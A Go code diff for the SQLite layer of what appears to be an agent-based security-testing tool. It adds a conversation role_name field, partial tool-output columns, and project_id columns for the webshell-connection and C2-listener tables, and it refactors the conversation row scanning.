}
|
}
|
||||||
@@ -236,10 +239,11 @@ func (db *DB) GetConversation(id string) (*Conversation, error) {
|
|||||||
var pinned int
|
var pinned int
|
||||||
|
|
||||||
var projectID sql.NullString
|
var projectID sql.NullString
|
||||||
|
var roleName sql.NullString
|
||||||
err := db.QueryRow(
|
err := db.QueryRow(
|
||||||
"SELECT id, title, pinned, created_at, updated_at, project_id FROM conversations WHERE id = ?",
|
"SELECT id, title, pinned, created_at, updated_at, project_id, role_name FROM conversations WHERE id = ?",
|
||||||
id,
|
id,
|
||||||
).Scan(&conv.ID, &conv.Title, &pinned, &createdAt, &updatedAt, &projectID)
|
).Scan(&conv.ID, &conv.Title, &pinned, &createdAt, &updatedAt, &projectID, &roleName)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
if err == sql.ErrNoRows {
|
if err == sql.ErrNoRows {
|
||||||
return nil, fmt.Errorf("对话不存在")
|
return nil, fmt.Errorf("对话不存在")
|
||||||
@@ -249,6 +253,9 @@ func (db *DB) GetConversation(id string) (*Conversation, error) {
|
|||||||
if projectID.Valid {
|
if projectID.Valid {
|
||||||
conv.ProjectID = strings.TrimSpace(projectID.String)
|
conv.ProjectID = strings.TrimSpace(projectID.String)
|
||||||
}
|
}
|
||||||
|
if roleName.Valid {
|
||||||
|
conv.RoleName = normalizeConversationRoleName(roleName.String)
|
||||||
|
}
|
||||||
|
|
||||||
// 尝试多种时间格式解析
|
// 尝试多种时间格式解析
|
||||||
var err1, err2 error
|
var err1, err2 error
|
||||||
@@ -322,10 +329,11 @@ func (db *DB) GetConversationLite(id string) (*Conversation, error) {
|
|||||||
var pinned int
|
var pinned int
|
||||||
|
|
||||||
var projectID sql.NullString
|
var projectID sql.NullString
|
||||||
|
var roleName sql.NullString
|
||||||
err := db.QueryRow(
|
err := db.QueryRow(
|
||||||
"SELECT id, title, pinned, created_at, updated_at, project_id FROM conversations WHERE id = ?",
|
"SELECT id, title, pinned, created_at, updated_at, project_id, role_name FROM conversations WHERE id = ?",
|
||||||
id,
|
id,
|
||||||
).Scan(&conv.ID, &conv.Title, &pinned, &createdAt, &updatedAt, &projectID)
|
).Scan(&conv.ID, &conv.Title, &pinned, &createdAt, &updatedAt, &projectID, &roleName)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
if err == sql.ErrNoRows {
|
if err == sql.ErrNoRows {
|
||||||
return nil, fmt.Errorf("对话不存在")
|
return nil, fmt.Errorf("对话不存在")
|
||||||
@@ -335,6 +343,9 @@ func (db *DB) GetConversationLite(id string) (*Conversation, error) {
|
|||||||
if projectID.Valid {
|
if projectID.Valid {
|
||||||
conv.ProjectID = strings.TrimSpace(projectID.String)
|
conv.ProjectID = strings.TrimSpace(projectID.String)
|
||||||
}
|
}
|
||||||
|
if roleName.Valid {
|
||||||
|
conv.RoleName = normalizeConversationRoleName(roleName.String)
|
||||||
|
}
|
||||||
|
|
||||||
// 尝试多种时间格式解析
|
// 尝试多种时间格式解析
|
||||||
var err1, err2 error
|
var err1, err2 error
|
||||||
@@ -365,6 +376,26 @@ func (db *DB) GetConversationLite(id string) (*Conversation, error) {
|
|||||||
return &conv, nil
|
return &conv, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func normalizeConversationRoleName(roleName string) string {
|
||||||
|
roleName = strings.TrimSpace(roleName)
|
||||||
|
if roleName == "" {
|
||||||
|
return "默认"
|
||||||
|
}
|
||||||
|
return roleName
|
||||||
|
}
|
||||||
|
|
||||||
|
func (db *DB) SetConversationRoleName(id, roleName string) error {
|
||||||
|
roleName = normalizeConversationRoleName(roleName)
|
||||||
|
_, err := db.Exec(
|
||||||
|
"UPDATE conversations SET role_name = ?, updated_at = ? WHERE id = ?",
|
||||||
|
roleName, time.Now(), id,
|
||||||
|
)
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("更新对话角色失败: %w", err)
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
func conversationProjectIDColumn(alias string) string {
|
func conversationProjectIDColumn(alias string) string {
|
||||||
if alias != "" {
|
if alias != "" {
|
||||||
return alias + ".project_id"
|
return alias + ".project_id"
|
||||||
@@ -489,7 +520,7 @@ func (db *DB) ListConversations(limit, offset int, search, sortBy, projectID str
|
|||||||
where, args = appendConversationProjectFilter(where, args, projectID, "c")
|
where, args = appendConversationProjectFilter(where, args, projectID, "c")
|
||||||
args = append(args, limit, offset)
|
args = append(args, limit, offset)
|
||||||
rows, err = db.Query(
|
rows, err = db.Query(
|
||||||
`SELECT c.id, c.title, COALESCE(c.pinned, 0), c.created_at, c.updated_at, c.project_id
|
`SELECT c.id, c.title, COALESCE(c.pinned, 0), c.created_at, c.updated_at, c.project_id, c.role_name
|
||||||
FROM conversations c`+where+`
|
FROM conversations c`+where+`
|
||||||
`+orderClause+`
|
`+orderClause+`
|
||||||
LIMIT ? OFFSET ?`,
|
LIMIT ? OFFSET ?`,
|
||||||
@@ -505,7 +536,7 @@ func (db *DB) ListConversations(limit, offset int, search, sortBy, projectID str
|
|||||||
}
|
}
|
||||||
args = append(args, limit, offset)
|
args = append(args, limit, offset)
|
||||||
rows, err = db.Query(
|
rows, err = db.Query(
|
||||||
"SELECT id, title, COALESCE(pinned, 0), created_at, updated_at, project_id FROM conversations"+where+" "+orderClause+" LIMIT ? OFFSET ?",
|
"SELECT id, title, COALESCE(pinned, 0), created_at, updated_at, project_id, role_name FROM conversations"+where+" "+orderClause+" LIMIT ? OFFSET ?",
|
||||||
args...,
|
args...,
|
||||||
)
|
)
|
||||||
}
|
}
|
||||||
@@ -514,45 +545,7 @@ func (db *DB) ListConversations(limit, offset int, search, sortBy, projectID str
|
|||||||
return nil, fmt.Errorf("查询对话列表失败: %w", err)
|
return nil, fmt.Errorf("查询对话列表失败: %w", err)
|
||||||
}
|
}
|
||||||
defer rows.Close()
|
defer rows.Close()
|
||||||
|
return scanConversationRows(rows)
|
||||||
var conversations []*Conversation
|
|
||||||
for rows.Next() {
|
|
||||||
var conv Conversation
|
|
||||||
var createdAt, updatedAt string
|
|
||||||
var pinned int
|
|
||||||
var projectID sql.NullString
|
|
||||||
|
|
||||||
if err := rows.Scan(&conv.ID, &conv.Title, &pinned, &createdAt, &updatedAt, &projectID); err != nil {
|
|
||||||
return nil, fmt.Errorf("扫描对话失败: %w", err)
|
|
||||||
}
|
|
||||||
if projectID.Valid {
|
|
||||||
conv.ProjectID = strings.TrimSpace(projectID.String)
|
|
||||||
}
|
|
||||||
|
|
||||||
// 尝试多种时间格式解析
|
|
||||||
var err1, err2 error
|
|
||||||
conv.CreatedAt, err1 = time.Parse("2006-01-02 15:04:05.999999999-07:00", createdAt)
|
|
||||||
if err1 != nil {
|
|
||||||
conv.CreatedAt, err1 = time.Parse("2006-01-02 15:04:05", createdAt)
|
|
||||||
}
|
|
||||||
if err1 != nil {
|
|
||||||
conv.CreatedAt, _ = time.Parse(time.RFC3339, createdAt)
|
|
||||||
}
|
|
||||||
|
|
||||||
conv.UpdatedAt, err2 = time.Parse("2006-01-02 15:04:05.999999999-07:00", updatedAt)
|
|
||||||
if err2 != nil {
|
|
||||||
conv.UpdatedAt, err2 = time.Parse("2006-01-02 15:04:05", updatedAt)
|
|
||||||
}
|
|
||||||
if err2 != nil {
|
|
||||||
conv.UpdatedAt, _ = time.Parse(time.RFC3339, updatedAt)
|
|
||||||
}
|
|
||||||
|
|
||||||
conv.Pinned = pinned != 0
|
|
||||||
|
|
||||||
conversations = append(conversations, &conv)
|
|
||||||
}
|
|
||||||
|
|
||||||
return conversations, nil
|
|
||||||
}
|
}
|
||||||
|
|
||||||
func (db *DB) ListConversationsForAccess(limit, offset int, search, sortBy, projectID, userID, scope string) ([]*Conversation, error) {
|
func (db *DB) ListConversationsForAccess(limit, offset int, search, sortBy, projectID, userID, scope string) ([]*Conversation, error) {
|
||||||
@@ -571,7 +564,7 @@ func (db *DB) ListConversationsForAccess(limit, offset int, search, sortBy, proj
|
|||||||
where, args = appendConversationAccessFilter(where, args, userID, scope, "c")
|
where, args = appendConversationAccessFilter(where, args, userID, scope, "c")
|
||||||
args = append(args, limit, offset)
|
args = append(args, limit, offset)
|
||||||
rows, err = db.Query(
|
rows, err = db.Query(
|
||||||
`SELECT c.id, c.title, COALESCE(c.pinned, 0), c.created_at, c.updated_at, c.project_id
|
`SELECT c.id, c.title, COALESCE(c.pinned, 0), c.created_at, c.updated_at, c.project_id, c.role_name
|
||||||
FROM conversations c`+where+`
|
FROM conversations c`+where+`
|
||||||
`+orderClause+`
|
`+orderClause+`
|
||||||
LIMIT ? OFFSET ?`, args...)
|
LIMIT ? OFFSET ?`, args...)
|
||||||
@@ -586,7 +579,7 @@ func (db *DB) ListConversationsForAccess(limit, offset int, search, sortBy, proj
|
|||||||
}
|
}
|
||||||
args = append(args, limit, offset)
|
args = append(args, limit, offset)
|
||||||
rows, err = db.Query(
|
rows, err = db.Query(
|
||||||
"SELECT id, title, COALESCE(pinned, 0), created_at, updated_at, project_id FROM conversations"+where+" "+orderClause+" LIMIT ? OFFSET ?",
|
"SELECT id, title, COALESCE(pinned, 0), created_at, updated_at, project_id, role_name FROM conversations"+where+" "+orderClause+" LIMIT ? OFFSET ?",
|
||||||
args...)
|
args...)
|
||||||
}
|
}
|
||||||
if err != nil {
|
if err != nil {
|
||||||
@@ -603,12 +596,16 @@ func scanConversationRows(rows *sql.Rows) ([]*Conversation, error) {
|
|||||||
var createdAt, updatedAt string
|
var createdAt, updatedAt string
|
||||||
var pinned int
|
var pinned int
|
||||||
var projectID sql.NullString
|
var projectID sql.NullString
|
||||||
if err := rows.Scan(&conv.ID, &conv.Title, &pinned, &createdAt, &updatedAt, &projectID); err != nil {
|
var roleName sql.NullString
|
||||||
|
if err := rows.Scan(&conv.ID, &conv.Title, &pinned, &createdAt, &updatedAt, &projectID, &roleName); err != nil {
|
||||||
return nil, fmt.Errorf("扫描对话失败: %w", err)
|
return nil, fmt.Errorf("扫描对话失败: %w", err)
|
||||||
}
|
}
|
||||||
if projectID.Valid {
|
if projectID.Valid {
|
||||||
conv.ProjectID = strings.TrimSpace(projectID.String)
|
conv.ProjectID = strings.TrimSpace(projectID.String)
|
||||||
}
|
}
|
||||||
|
if roleName.Valid {
|
||||||
|
conv.RoleName = normalizeConversationRoleName(roleName.String)
|
||||||
|
}
|
||||||
var err1, err2 error
|
var err1, err2 error
|
||||||
conv.CreatedAt, err1 = time.Parse("2006-01-02 15:04:05.999999999-07:00", createdAt)
|
conv.CreatedAt, err1 = time.Parse("2006-01-02 15:04:05.999999999-07:00", createdAt)
|
||||||
if err1 != nil {
|
if err1 != nil {
|
||||||
@@ -668,7 +665,7 @@ func (db *DB) ListUngroupedConversations(limit, offset int, sortBy, projectID st
|
|||||||
where, args = appendConversationProjectFilter(where, args, projectID, "c")
|
where, args = appendConversationProjectFilter(where, args, projectID, "c")
|
||||||
args = append(args, limit, offset)
|
args = append(args, limit, offset)
|
||||||
rows, err := db.Query(
|
rows, err := db.Query(
|
||||||
`SELECT c.id, c.title, COALESCE(c.pinned, 0), c.created_at, c.updated_at, c.project_id `+
|
`SELECT c.id, c.title, COALESCE(c.pinned, 0), c.created_at, c.updated_at, c.project_id, c.role_name `+
|
||||||
where+`
|
where+`
|
||||||
`+orderClause+`
|
`+orderClause+`
|
||||||
LIMIT ? OFFSET ?`,
|
LIMIT ? OFFSET ?`,
|
||||||
@@ -678,43 +675,7 @@ func (db *DB) ListUngroupedConversations(limit, offset int, sortBy, projectID st
|
|||||||
return nil, fmt.Errorf("查询未分组对话失败: %w", err)
|
return nil, fmt.Errorf("查询未分组对话失败: %w", err)
|
||||||
}
|
}
|
||||||
defer rows.Close()
|
defer rows.Close()
|
||||||
|
return scanConversationRows(rows)
|
||||||
var conversations []*Conversation
|
|
||||||
for rows.Next() {
|
|
||||||
var conv Conversation
|
|
||||||
var createdAt, updatedAt string
|
|
||||||
var pinned int
|
|
||||||
var projectID sql.NullString
|
|
||||||
|
|
||||||
if err := rows.Scan(&conv.ID, &conv.Title, &pinned, &createdAt, &updatedAt, &projectID); err != nil {
|
|
||||||
return nil, fmt.Errorf("扫描对话失败: %w", err)
|
|
||||||
}
|
|
||||||
if projectID.Valid {
|
|
||||||
conv.ProjectID = strings.TrimSpace(projectID.String)
|
|
||||||
}
|
|
||||||
|
|
||||||
var err1, err2 error
|
|
||||||
conv.CreatedAt, err1 = time.Parse("2006-01-02 15:04:05.999999999-07:00", createdAt)
|
|
||||||
if err1 != nil {
|
|
||||||
conv.CreatedAt, err1 = time.Parse("2006-01-02 15:04:05", createdAt)
|
|
||||||
}
|
|
||||||
if err1 != nil {
|
|
||||||
conv.CreatedAt, _ = time.Parse(time.RFC3339, createdAt)
|
|
||||||
}
|
|
||||||
|
|
||||||
conv.UpdatedAt, err2 = time.Parse("2006-01-02 15:04:05.999999999-07:00", updatedAt)
|
|
||||||
if err2 != nil {
|
|
||||||
conv.UpdatedAt, err2 = time.Parse("2006-01-02 15:04:05", updatedAt)
|
|
||||||
}
|
|
||||||
if err2 != nil {
|
|
||||||
conv.UpdatedAt, _ = time.Parse(time.RFC3339, updatedAt)
|
|
||||||
}
|
|
||||||
|
|
||||||
conv.Pinned = pinned != 0
|
|
||||||
conversations = append(conversations, &conv)
|
|
||||||
}
|
|
||||||
|
|
||||||
return conversations, rows.Err()
|
|
||||||
}
|
}
|
||||||
|
|
||||||
func (db *DB) ListUngroupedConversationsForAccess(limit, offset int, sortBy, projectID, userID, scope string) ([]*Conversation, error) {
|
func (db *DB) ListUngroupedConversationsForAccess(limit, offset int, sortBy, projectID, userID, scope string) ([]*Conversation, error) {
|
||||||
@@ -728,7 +689,7 @@ func (db *DB) ListUngroupedConversationsForAccess(limit, offset int, sortBy, pro
|
|||||||
where, args = appendConversationAccessFilter(where, args, userID, scope, "c")
|
where, args = appendConversationAccessFilter(where, args, userID, scope, "c")
|
||||||
args = append(args, limit, offset)
|
args = append(args, limit, offset)
|
||||||
rows, err := db.Query(
|
rows, err := db.Query(
|
||||||
`SELECT c.id, c.title, COALESCE(c.pinned, 0), c.created_at, c.updated_at, c.project_id `+
|
`SELECT c.id, c.title, COALESCE(c.pinned, 0), c.created_at, c.updated_at, c.project_id, c.role_name `+
|
||||||
where+`
|
where+`
|
||||||
`+orderClause+`
|
`+orderClause+`
|
||||||
LIMIT ? OFFSET ?`,
|
LIMIT ? OFFSET ?`,
|
||||||
@@ -861,6 +822,19 @@ func (db *DB) einoReductionBaseDir() string {
|
|||||||
return filepath.Join("tmp", "reduction")
|
return filepath.Join("tmp", "reduction")
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// EinoReductionBaseDir returns the configured reduction cache root.
|
||||||
|
func (db *DB) EinoReductionBaseDir() string {
|
||||||
|
return db.einoReductionBaseDir()
|
||||||
|
}
|
||||||
|
|
||||||
|
// ConversationArtifactsBaseDir returns the conversation-scoped artifacts root.
|
||||||
|
func (db *DB) ConversationArtifactsBaseDir() string {
|
||||||
|
if db == nil {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
return strings.TrimSpace(db.conversationArtifactsDir)
|
||||||
|
}
|
||||||
|
|
||||||
func (db *DB) einoWorkspaceBaseDir() string {
|
func (db *DB) einoWorkspaceBaseDir() string {
|
||||||
if db == nil {
|
if db == nil {
|
||||||
return ""
|
return ""
|
||||||
|
|||||||
@@ -5,6 +5,7 @@ type ConversationCreateMeta struct {
|
|||||||
Source string
|
Source string
|
||||||
WebShellConnectionID string
|
WebShellConnectionID string
|
||||||
ProjectID string
|
ProjectID string
|
||||||
|
RoleName string
|
||||||
ClientIP string
|
ClientIP string
|
||||||
SessionHint string
|
SessionHint string
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -183,6 +183,7 @@ func (db *DB) initTables() error {
|
|||||||
title TEXT NOT NULL,
|
title TEXT NOT NULL,
|
||||||
created_at DATETIME NOT NULL,
|
created_at DATETIME NOT NULL,
|
||||||
updated_at DATETIME NOT NULL,
|
updated_at DATETIME NOT NULL,
|
||||||
|
role_name TEXT NOT NULL DEFAULT '默认',
|
||||||
last_react_input TEXT,
|
last_react_input TEXT,
|
||||||
last_react_output TEXT
|
last_react_output TEXT
|
||||||
);`
|
);`
|
||||||
@@ -226,6 +227,10 @@ func (db *DB) initTables() error {
|
|||||||
start_time DATETIME NOT NULL,
|
start_time DATETIME NOT NULL,
|
||||||
end_time DATETIME,
|
end_time DATETIME,
|
||||||
duration_ms INTEGER,
|
duration_ms INTEGER,
|
||||||
|
partial_output TEXT,
|
||||||
|
partial_output_bytes INTEGER NOT NULL DEFAULT 0,
|
||||||
|
partial_output_truncated INTEGER NOT NULL DEFAULT 0,
|
||||||
|
partial_output_updated_at DATETIME,
|
||||||
owner_user_id TEXT,
|
owner_user_id TEXT,
|
||||||
conversation_id TEXT,
|
conversation_id TEXT,
|
||||||
created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP
|
created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP
|
||||||
@@ -489,6 +494,7 @@ func (db *DB) initTables() error {
|
|||||||
createWebshellConnectionsTable := `
|
createWebshellConnectionsTable := `
|
||||||
CREATE TABLE IF NOT EXISTS webshell_connections (
|
CREATE TABLE IF NOT EXISTS webshell_connections (
|
||||||
id TEXT PRIMARY KEY,
|
id TEXT PRIMARY KEY,
|
||||||
|
project_id TEXT,
|
||||||
url TEXT NOT NULL,
|
url TEXT NOT NULL,
|
||||||
password TEXT NOT NULL DEFAULT '',
|
password TEXT NOT NULL DEFAULT '',
|
||||||
type TEXT NOT NULL DEFAULT 'php',
|
type TEXT NOT NULL DEFAULT 'php',
|
||||||
@@ -515,6 +521,7 @@ func (db *DB) initTables() error {
|
|||||||
createC2ListenersTable := `
|
createC2ListenersTable := `
|
||||||
CREATE TABLE IF NOT EXISTS c2_listeners (
|
CREATE TABLE IF NOT EXISTS c2_listeners (
|
||||||
id TEXT PRIMARY KEY,
|
id TEXT PRIMARY KEY,
|
||||||
|
project_id TEXT,
|
||||||
name TEXT NOT NULL,
|
name TEXT NOT NULL,
|
||||||
type TEXT NOT NULL,
|
type TEXT NOT NULL,
|
||||||
bind_host TEXT NOT NULL DEFAULT '127.0.0.1',
|
bind_host TEXT NOT NULL DEFAULT '127.0.0.1',
|
||||||
@@ -751,8 +758,10 @@ func (db *DB) initTables() error {
|
|||||||
CREATE INDEX IF NOT EXISTS idx_batch_task_queues_created_at ON batch_task_queues(created_at);
|
CREATE INDEX IF NOT EXISTS idx_batch_task_queues_created_at ON batch_task_queues(created_at);
|
||||||
CREATE INDEX IF NOT EXISTS idx_batch_task_queues_title ON batch_task_queues(title);
|
CREATE INDEX IF NOT EXISTS idx_batch_task_queues_title ON batch_task_queues(title);
|
||||||
CREATE INDEX IF NOT EXISTS idx_webshell_connections_created_at ON webshell_connections(created_at);
|
CREATE INDEX IF NOT EXISTS idx_webshell_connections_created_at ON webshell_connections(created_at);
|
||||||
|
CREATE INDEX IF NOT EXISTS idx_webshell_connections_project_id ON webshell_connections(project_id);
|
||||||
CREATE INDEX IF NOT EXISTS idx_webshell_connection_states_updated_at ON webshell_connection_states(updated_at);
|
CREATE INDEX IF NOT EXISTS idx_webshell_connection_states_updated_at ON webshell_connection_states(updated_at);
|
||||||
CREATE INDEX IF NOT EXISTS idx_c2_listeners_created_at ON c2_listeners(created_at);
|
CREATE INDEX IF NOT EXISTS idx_c2_listeners_created_at ON c2_listeners(created_at);
|
||||||
|
CREATE INDEX IF NOT EXISTS idx_c2_listeners_project_id ON c2_listeners(project_id);
|
||||||
CREATE INDEX IF NOT EXISTS idx_c2_listeners_status ON c2_listeners(status);
|
CREATE INDEX IF NOT EXISTS idx_c2_listeners_status ON c2_listeners(status);
|
||||||
CREATE INDEX IF NOT EXISTS idx_c2_sessions_listener ON c2_sessions(listener_id);
|
CREATE INDEX IF NOT EXISTS idx_c2_sessions_listener ON c2_sessions(listener_id);
|
||||||
CREATE INDEX IF NOT EXISTS idx_c2_sessions_status ON c2_sessions(status);
|
CREATE INDEX IF NOT EXISTS idx_c2_sessions_status ON c2_sessions(status);
|
||||||
@@ -951,9 +960,15 @@ func (db *DB) initTables() error {
|
|||||||
db.logger.Warn("迁移webshell_connections表失败", zap.Error(err))
|
db.logger.Warn("迁移webshell_connections表失败", zap.Error(err))
|
||||||
// 不返回错误,允许继续运行
|
// 不返回错误,允许继续运行
|
||||||
}
|
}
|
||||||
|
if err := db.migrateC2ListenersTable(); err != nil {
|
||||||
|
db.logger.Warn("迁移c2_listeners表失败", zap.Error(err))
|
||||||
|
}
|
||||||
if err := db.migrateWorkflowRunsTable(); err != nil {
|
if err := db.migrateWorkflowRunsTable(); err != nil {
|
||||||
db.logger.Warn("迁移workflow_runs表失败", zap.Error(err))
|
db.logger.Warn("迁移workflow_runs表失败", zap.Error(err))
|
||||||
}
|
}
|
||||||
|
if err := db.migrateToolExecutionsPartialOutputColumns(); err != nil {
|
||||||
|
db.logger.Warn("迁移tool_executions partial output字段失败", zap.Error(err))
|
||||||
|
}
|
||||||
if err := db.migrateRBACOwnershipColumns(); err != nil {
|
if err := db.migrateRBACOwnershipColumns(); err != nil {
|
||||||
db.logger.Warn("迁移RBAC资源归属字段失败", zap.Error(err))
|
db.logger.Warn("迁移RBAC资源归属字段失败", zap.Error(err))
|
||||||
}
|
}
|
||||||
@@ -978,6 +993,23 @@ func (db *DB) migrateRobotUserSessionsTable() error {
|
|||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func (db *DB) migrateToolExecutionsPartialOutputColumns() error {
|
||||||
|
for _, col := range []struct {
|
||||||
|
name string
|
||||||
|
stmt string
|
||||||
|
}{
|
||||||
|
{"partial_output", "ALTER TABLE tool_executions ADD COLUMN partial_output TEXT"},
|
||||||
|
{"partial_output_bytes", "ALTER TABLE tool_executions ADD COLUMN partial_output_bytes INTEGER NOT NULL DEFAULT 0"},
|
||||||
|
{"partial_output_truncated", "ALTER TABLE tool_executions ADD COLUMN partial_output_truncated INTEGER NOT NULL DEFAULT 0"},
|
||||||
|
{"partial_output_updated_at", "ALTER TABLE tool_executions ADD COLUMN partial_output_updated_at DATETIME"},
|
||||||
|
} {
|
||||||
|
if err := db.addColumnIfMissing("tool_executions", col.name, col.stmt); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
// migrateAssetsTable keeps databases created by the first asset-management release compatible.
|
// migrateAssetsTable keeps databases created by the first asset-management release compatible.
|
||||||
func (db *DB) migrateAssetsTable() error {
|
func (db *DB) migrateAssetsTable() error {
|
||||||
columns := []struct {
|
columns := []struct {
|
||||||
@@ -1127,6 +1159,21 @@ func (db *DB) migrateConversationsTable() error {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// 检查 role_name 字段是否存在(对话绑定的业务角色,用于历史任务切换时恢复角色上下文)
|
||||||
|
err = db.QueryRow("SELECT COUNT(*) FROM pragma_table_info('conversations') WHERE name='role_name'").Scan(&count)
|
||||||
|
if err != nil {
|
||||||
|
if _, addErr := db.Exec("ALTER TABLE conversations ADD COLUMN role_name TEXT NOT NULL DEFAULT '默认'"); addErr != nil {
|
||||||
|
errMsg := strings.ToLower(addErr.Error())
|
||||||
|
if !strings.Contains(errMsg, "duplicate column") && !strings.Contains(errMsg, "already exists") {
|
||||||
|
db.logger.Warn("添加role_name字段失败", zap.Error(addErr))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} else if count == 0 {
|
||||||
|
if _, err := db.Exec("ALTER TABLE conversations ADD COLUMN role_name TEXT NOT NULL DEFAULT '默认'"); err != nil {
|
||||||
|
db.logger.Warn("添加role_name字段失败", zap.Error(err))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -1570,6 +1617,7 @@ func (db *DB) migrateWebshellConnectionsTable() error {
|
|||||||
name string
|
name string
|
||||||
stmt string
|
stmt string
|
||||||
}{
|
}{
|
||||||
|
{name: "project_id", stmt: "ALTER TABLE webshell_connections ADD COLUMN project_id TEXT"},
|
||||||
{name: "encoding", stmt: "ALTER TABLE webshell_connections ADD COLUMN encoding TEXT NOT NULL DEFAULT ''"},
|
{name: "encoding", stmt: "ALTER TABLE webshell_connections ADD COLUMN encoding TEXT NOT NULL DEFAULT ''"},
|
||||||
{name: "os", stmt: "ALTER TABLE webshell_connections ADD COLUMN os TEXT NOT NULL DEFAULT ''"},
|
{name: "os", stmt: "ALTER TABLE webshell_connections ADD COLUMN os TEXT NOT NULL DEFAULT ''"},
|
||||||
}
|
}
|
||||||
@@ -1595,6 +1643,10 @@ func (db *DB) migrateWebshellConnectionsTable() error {
|
|||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func (db *DB) migrateC2ListenersTable() error {
|
||||||
|
return db.addColumnIfMissing("c2_listeners", "project_id", "ALTER TABLE c2_listeners ADD COLUMN project_id TEXT")
|
||||||
|
}
|
||||||
|
|
||||||
// NewKnowledgeDB 创建知识库数据库连接(只包含知识库相关的表)
|
// NewKnowledgeDB 创建知识库数据库连接(只包含知识库相关的表)
|
||||||
func NewKnowledgeDB(dbPath string, logger *zap.Logger) (*DB, error) {
|
func NewKnowledgeDB(dbPath string, logger *zap.Logger) (*DB, error) {
|
||||||
sqlDB, err := sql.Open("sqlite3", dbPath+"?_journal_mode=WAL&_foreign_keys=1&_busy_timeout=5000&_synchronous=NORMAL")
|
sqlDB, err := sql.Open("sqlite3", dbPath+"?_journal_mode=WAL&_foreign_keys=1&_busy_timeout=5000&_synchronous=NORMAL")
|
||||||
|
|||||||
@@ -43,11 +43,19 @@ func (db *DB) SaveToolExecution(exec *mcp.ToolExecution) error {
|
|||||||
if exec.Duration > 0 {
|
if exec.Duration > 0 {
|
||||||
durationMs = sql.NullInt64{Int64: exec.Duration.Milliseconds(), Valid: true}
|
durationMs = sql.NullInt64{Int64: exec.Duration.Milliseconds(), Valid: true}
|
||||||
}
|
}
|
||||||
|
var partialUpdatedAt sql.NullTime
|
||||||
|
if exec.PartialOutputUpdatedAt != nil {
|
||||||
|
partialUpdatedAt = sql.NullTime{Time: *exec.PartialOutputUpdatedAt, Valid: true}
|
||||||
|
}
|
||||||
|
partialTruncated := 0
|
||||||
|
if exec.PartialOutputTruncated {
|
||||||
|
partialTruncated = 1
|
||||||
|
}
|
||||||
|
|
||||||
query := `
|
query := `
|
||||||
INSERT OR REPLACE INTO tool_executions
|
INSERT OR REPLACE INTO tool_executions
|
||||||
(id, tool_name, arguments, status, result, error, start_time, end_time, duration_ms, owner_user_id, conversation_id, created_at)
|
(id, tool_name, arguments, status, result, error, start_time, end_time, duration_ms, partial_output, partial_output_bytes, partial_output_truncated, partial_output_updated_at, owner_user_id, conversation_id, created_at)
|
||||||
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
|
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
|
||||||
`
|
`
|
||||||
|
|
||||||
_, err = db.Exec(query,
|
_, err = db.Exec(query,
|
||||||
@@ -60,6 +68,10 @@ func (db *DB) SaveToolExecution(exec *mcp.ToolExecution) error {
|
|||||||
exec.StartTime,
|
exec.StartTime,
|
||||||
endTime,
|
endTime,
|
||||||
durationMs,
|
durationMs,
|
||||||
|
sqlNullString(exec.PartialOutput),
|
||||||
|
exec.PartialOutputBytes,
|
||||||
|
partialTruncated,
|
||||||
|
partialUpdatedAt,
|
||||||
strings.TrimSpace(exec.OwnerUserID),
|
strings.TrimSpace(exec.OwnerUserID),
|
||||||
strings.TrimSpace(exec.ConversationID),
|
strings.TrimSpace(exec.ConversationID),
|
||||||
time.Now(),
|
time.Now(),
|
||||||
@@ -90,6 +102,13 @@ func (db *DB) UpdateToolExecutionResult(id string, result *mcp.ToolResult) error
|
|||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func sqlNullString(s string) sql.NullString {
|
||||||
|
if s == "" {
|
||||||
|
return sql.NullString{}
|
||||||
|
}
|
||||||
|
return sql.NullString{String: s, Valid: true}
|
||||||
|
}
|
||||||
|
|
||||||
// CountToolExecutions 统计工具执行记录总数
|
// CountToolExecutions 统计工具执行记录总数
|
||||||
func (db *DB) CountToolExecutions(status, toolName string) (int, error) {
|
func (db *DB) CountToolExecutions(status, toolName string) (int, error) {
|
||||||
return db.CountToolExecutionsForAccess(status, toolName, RBACListAccess{Scope: RBACScopeAll})
|
return db.CountToolExecutionsForAccess(status, toolName, RBACListAccess{Scope: RBACScopeAll})
|
||||||
@@ -267,7 +286,8 @@ type ToolStatsSummaryResult struct {
|
|||||||
TopTools []*mcp.ToolStats
|
TopTools []*mcp.ToolStats
|
||||||
}
|
}
|
||||||
|
|
||||||
// LoadToolStatsSummary 聚合统计信息,仅返回汇总与 Top N 工具(避免全量 map 传输)
|
// LoadToolStatsSummary 聚合统计信息,仅返回汇总与 Top N 工具(避免全量 map 传输)。
|
||||||
|
// 监控页的失败口径只包含真实失败/异常终止;用户主动取消的 cancelled 保留在总调用中,不计入失败。
|
||||||
func (db *DB) LoadToolStatsSummary(topN int) (*ToolStatsSummaryResult, error) {
|
func (db *DB) LoadToolStatsSummary(topN int) (*ToolStatsSummaryResult, error) {
|
||||||
if topN <= 0 {
|
if topN <= 0 {
|
||||||
topN = 6
|
topN = 6
|
||||||
@@ -282,19 +302,19 @@ func (db *DB) LoadToolStatsSummary(topN int) (*ToolStatsSummaryResult, error) {
|
|||||||
|
|
||||||
summaryQuery := `
|
summaryQuery := `
|
||||||
SELECT COUNT(*),
